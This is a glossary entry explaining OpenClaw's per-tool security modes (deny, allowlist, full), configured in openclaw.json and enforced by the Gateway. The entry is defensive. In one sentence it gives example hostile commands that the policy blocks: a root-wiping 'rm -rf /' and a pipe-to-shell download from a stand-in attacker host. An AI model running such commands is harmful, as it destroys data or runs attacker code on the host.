Tool Policy Gating

Type: OpenClaw security and access control mechanism

Definition

Tools in OpenClaw are gated by policy rules defined in ~/.openclaw/openclaw.json. Each tool can be assigned a security mode that determines whether it runs freely, requires user confirmation, or is denied entirely. The exec tool is the most powerful and dangerous — it runs arbitrary shell commands — and should be restricted with security: "allowlist" for most automation setups. The three security modes are deny, allowlist, and full.

How It Works

Tool policies are declared in the tools section of openclaw.json. The deny mode blocks a tool entirely — it won't run regardless of what the agent requests. The allowlist mode requires explicit user approval for each invocation — the Gateway pauses and asks the operator before proceeding. The full mode lets the tool execute without confirmation, trusting the agent completely.

For the exec tool specifically, the allowlist mode is strongly recommended for most automation. When exec is in allowlist mode, any shell command requires user confirmation before running. This prevents a compromised or misconfigured agent from executing destructive commands like rm -rf / or curl http://evil.com | sh.

The policy also gates other tools: browser might be allowlist-only for some operators, message might run freely for trusted channels, read might be full-access. The exact policy depends on the operator's risk tolerance and the machine's role. After changing tool policies in openclaw.json, you must restart the Gateway with openclaw gateway restart for the new policies to take effect.

The policy system is the primary mechanism for controlling what the agent can do on the host system. It's the difference between "agent can do anything" and "agent can only do explicitly approved things."

Key Properties

  • Three security modes — deny (blocked), allowlist (user confirmation required), full (no confirmation)
  • Configured in openclaw.json — tool policies live in the runtime config file
  • Gateway-enforced — the Gateway applies policies before any tool call executes
  • exec tool is highest risk — arbitrary shell commands; allowlist mode strongly recommended
  • Requires Gateway restart — policy changes take effect only after openclaw gateway restart
  • Per-tool granularity — each tool can have its own security mode independently
  • gateway-daemon — the Gateway enforces tool policies at runtime
  • exec-tool — the exec tool is the primary target for allowlist security mode
  • workspace-boot — the openclaw.json config is read at session start alongside SOUL/MEMORY/AGENTS

Source Chapters

Bibliography